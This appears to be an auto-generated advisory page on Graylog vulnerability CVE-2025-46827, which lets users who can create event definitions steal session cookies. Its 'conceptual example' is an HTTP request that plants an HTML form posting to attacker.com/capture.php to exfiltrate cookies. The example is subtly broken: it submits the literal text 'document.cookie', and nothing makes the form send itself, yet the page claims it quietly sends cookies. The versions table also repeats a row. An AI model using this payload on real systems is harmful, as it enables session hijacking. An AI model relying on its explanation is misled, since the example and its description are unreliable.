Overview
In the intricate world of cybersecurity, the open log management system, Graylog, has recently been exposed to a vulnerability, identified as CVE-2025-46827. Primarily designed to provide a centralized and searchable log database, Graylog has become a staple in many organizations’ security systems. This vulnerability, however, poses significant security risks, potentially compromising the system or leading to data leakage. It affects users with permissions to create event definitions, provided there is an active Input on the server capable of receiving form data.
The importance of this vulnerability is underscored by its potential to expose sensitive user session cookies, which could then be exploited by malicious actors to assume the identities of legitimate users. With a CVSS Severity Score of 8.0, this vulnerability is considered high risk and should be addressed promptly.
Vulnerability Summary
CVE ID: CVE-2025-46827
Severity: High (8.0 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
Graylog | Up to version 6.0.13
Graylog | Up to version 6.1.9
Graylog | Up to version 6.1.9
How the Exploit Works
The vulnerability arises from the ability to submit an HTML form as part of an Event Definition Remediation Step field. An attacker with permissions to create event definitions can exploit this weakness to obtain user session cookies. The attacker must also have an active Input on the Graylog server that can receive form data, such as a HTTP input, TCP raw, or syslog.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited:
POST /event_definition HTTP/1.1
Host: graylog.example.com
Content-Type: application/x-www-form-urlencoded
event_definition={ "remediation": "<form action='http://attacker.com/capture.php' method='post'><input type='hidden' name='cookie' value='document.cookie'></form>" }In this conceptual example, an attacker submits an HTML form as part of an event definition. The form quietly sends the user’s session cookies to the attacker’s server whenever it is viewed.
Mitigation Guidance
Users are strongly advised to apply the vendor patch as soon as possible. For versions 6.0.14, 6.1.10, and 6.2.0, the issue has been resolved. If unable to apply the patch immediately, consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and block suspicious activities, reducing the chance of successful exploitation.